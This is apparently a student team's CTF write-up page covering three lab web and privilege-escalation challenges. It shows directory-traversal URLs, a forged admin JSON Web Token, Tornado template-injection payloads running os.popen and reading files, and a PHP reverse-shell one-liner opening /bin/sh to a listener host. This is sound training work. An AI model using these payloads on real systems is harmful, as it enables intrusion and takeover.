schokomilk at the disco
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Write
        • Owners
        • Signed-in users
        • Everyone
        Owners Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights New
    • Engagement control
    • Make a copy
    • Transfer ownership
    • Delete this note
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Note Insights Versions and GitHub Sync Sharing URL Help
Menu
Options
Engagement control Make a copy Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Write
Owners
  • Owners
  • Signed-in users
  • Everyone
Owners Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       Owned this note    Owned this note      
    Published Linked with GitHub
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    # Team: Schokomilk disco **Areeb Hussain, Vasiliy Klyosov** ## HTB University CTF 2022 : Supernatural Hacks **Challenge:** The magic Informer **Challenge Description:** The Magic Informer is the only byte-sized wizarding newspaper that brings the best magical news to you at your fingertips! Due to popular demand and bold headlines, we are often targeted by wizards and hackers alike. We need you to pentest our news portal and see if you can gain access to our server. **Challenge category:** Web **Challenge diffuculty:** easy ## <div align="center">Write up 1</div> I started by opening the webserver on my browser from the given ip address and port `http://134.209.30.169:30713/register` Started to look around and clicking on the images , but there was one interesting button ‘We are hiring’, which leads to a register page. `http://134.209.30.169:30713/register` ![](https://i.imgur.com/W6uKSyQ.png) As shown in the picture above there were some input fields that saves user data and a upload option that only lets you upload only docx files. Looking at the upload I assumed it could be a file upload vulnerability(LFI) so I uploaded a simple php file taken from Mr Münch notes, turns out it was uploaded? ![](https://i.imgur.com/UuepqDm.png) But when I changed the request to GET in order to force the webserver to run the file, it didn’t execute ![](https://i.imgur.com/xdS3TPC.png) Moving on. All this data and the file upload needs to be stored somewhere. So I did a dirb on this webserver and got some additional folders in it ![](https://i.imgur.com/O8vEQ0f.png) The /download folder seemed interesting… Just the ip/download directory didn’t lead anywhere so I tried some Directory traversal ![](https://i.imgur.com/vuqkJNl.png) So theres app/uploads folder lets dig deeper into these folders There was nothing in the /upload folder, I guess all those files that I uploaded never did get uploded? After some try and error , I figured out the directories where all the Javascript source code was kept Its folders is at the path `http://134.209.30.169:30713/download?resume=..././` and all the source code files are here Deliberately adding a “.” in the path gives a list of other folders with source code files (index.js) ![](https://i.imgur.com/Rbm84ED.png) Reviewing the app/routes/index.js file there was a mention of ==admin.db== So I downloaded it from the path `http://134.209.30.169:30713/download?resume=..././admin.db` Its a sql lite data base which could be open with sqllitebrowser, the file looks something like this ![](https://i.imgur.com/31wYsEq.png) Also it confirms under the ‘enrollments’ table that the php files were never uploaded, only our test.docx that was uploaded ![](https://i.imgur.com/PVuKTlo.png) Looking at the **users** table theres also an ==admin== user beside my ==schokomilk== ![](https://i.imgur.com/mbTLzJ5.png) The admin password looks somewhat of a encryption maybe. After checking it with different types of decoder, I conclude it is not an encryption. Will come to it later. After some guidance on JSON Web Tokens by Mr Münch. I logged in with my user schokomilk and copied the generated cookie session via burp suite intercepter. This copied cookied is to pasted in on **jwt.io** ![](https://i.imgur.com/kbAXQfa.png) Here we change the payload; ==username: admin== and paste the newly generated token back your intercepted cookie session. Voila! Admin is logged in ![](https://i.imgur.com/DhhbD2k.png) On the admin dashboard only two buttons are functional ==SMS Gateway== and ==SQL Prompt==. Lets look into these. **Note:** Every time we click a somewhere on the page, we need to intercept and change the cookie session with the admin jwt otherwise it will load your user dashboard again using the previous session ![](https://i.imgur.com/fnvt9pp.png) In the above picuture the prepared statement cannot be executed because this endpoint is whitelisted to local host only. We need to look at the files again here and see where it validates the “localhost" after going through all of the different index.js files, I saw an import LocalMiddleware.js, the word Local got my attention here, so I downloaded the file through directory traversal path `134.209.30.169:30713/download?resume=..././../middleware/LocalMiddleware.js` Here we can see it validates the ip address from where the request is received and the Host header request. ![](https://i.imgur.com/G5dV3yh.png) So now we know the local Host, lets look at the ==SMS Gate== way page. ![](https://i.imgur.com/KAK5E0t.png) After playing around and sending some **‘Test SMS’** it is clear that their needs to be some manipulation in the HTTP Parameters. ![](https://i.imgur.com/IUGaTj3.png) For the APIKEY , I thought it could be the admin password from the users table in the DB that so I tried putting apiKEY: ==“45f56005f5907945c2351e2b0e64cce6”== but did not work, but now its clear that we need a correct key. ![](https://i.imgur.com/frQmKfg.png) Unfortunately I coudln't find the flag and this is what I could do till the end. **Extra:** On Clicking a ‘map’ picture on the main webserver page, it opened an Employee Archive page, but for some reason after refreshing the docker container this page was not accessible by clicking the ‘map’ picture again. ![](https://i.imgur.com/HlYzTgg.png) <br/> <br/> <br/> # TUCTF ## <div align="center">Write up 2</div> **Challenge:** Tornado **Challenge Description:** My friend gave me the templet to his website, it is built using tornado. Can you help me find the flag? **Challenge category:** web **Challenge diffuculty:** easy Main page of tornado ![](https://i.imgur.com/wFPySYe.png) It returns a normal greeting when we enter our name but if we inspect the source of the page there is also hidden information about Joe and the amount of cookies he has ![](https://i.imgur.com/a39hMcQ.png) Also cookies is in boolean value but when we change it to yes nothing happens :( ![](https://i.imgur.com/kyibzpz.png) Also we can notice that tornado runs on a python server and fun fact, we can inject some python code on it ![](https://i.imgur.com/S0ZMz9r.png) we can try something like this: ![](https://i.imgur.com/73p34T8.png) ![](https://i.imgur.com/yUVrEnD.png) After doing some research on secure-cookie.io and experimenting with the input, I got another interesting info while writing payload for ls command: {% import os %}{{os.popen('ls').read()}} ![](https://i.imgur.com/nM4prBD.png) It turns out /app/web2.py is the path for the script, so I tried to open it with the next script: {{open("/app/web2.py").read()}} ![](https://i.imgur.com/mPchn1i.png) I pointed out the important information, there is a riddle with cookies that we can solve, or you could have just executed a payload to give the output, which I did, we got the flag, which is ==TUCTF{t0rnad0_1snt_v3ry_s3cur3}== <br/> <br/> <br/> # TryHackMe ## <div align="center">ADDITIONAL Write up 3</div> **Challenge:** Chocolate Factory by AndyInfosec **Challenge Description:** A Charlie And The Chocolate Factory themed room, revisit Willy Wonka's chocolate factory! **Challenge category:** privillege escalation **Challenge diffuculty:** easy *It is an optional writeup, since the writeups for this challenge were already available at the moment when we started solving it, but we still solved it by ourselves and decided to include the writeup(for fun)* I started by nmaping to see which ports are open ![](https://i.imgur.com/RbHNFTv.png) My next step was dir and gobusters to find any potential hidden links that may be useful. I did gobuster dir -x ".txt,.php,.html" -u 10.10.177.63 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt And I found /home.php which has code execution vulnerability ![](https://i.imgur.com/CHuZZO6.png) the next step was obvious, te set up a listener, I went straight to pentestmonkey for a script: php -r '$sock=fsockopen("10.9.5.25",4444);exec("/bin/sh -i <&3 >&3 2>&3");' Reverse shell is done ![](https://i.imgur.com/8E6ijRy.png) There was a directory with a hidden key that I saved but didn't find the right usage for ![](https://i.imgur.com/Ra6nfSO.png) With this file we found a user name and a key it used for something %slaksdhfas - login or laksdhfas if we strings the file instead of cat b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY=' - key there was a php file which gives credentials of a user, the access to whom would lead me to home.php which I already know thanks to gobuster ![](https://i.imgur.com/WU7BnsY.png) if we go back we can identify the user which has been hacked, her name is charlie ![](https://i.imgur.com/H3te2Ua.png) There are3 files, 2 of them are private and public key, respectively, but the other one is hidden from us, that's why we are performing a genius move. I copied the key in a file on my local machine, changed mode to 777 and used it to establish an ssh connection with the user charlie on the given IP address with that key, the command looked like this: ssh -i id_rsa charlie@ip_addr we got into the same directory and were able to cat the flag ![](https://i.imgur.com/SXwCNCV.png) but, it wasn't the flag we needed to complete the CTF :( let's see if charlie can be root ![](https://i.imgur.com/dFtJ9dt.png) now the hardest part begins, privilege escalation: ![](https://i.imgur.com/WsYppVd.png) Unfortunately, I was not able to gain root and get the root flag but still had fun :)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully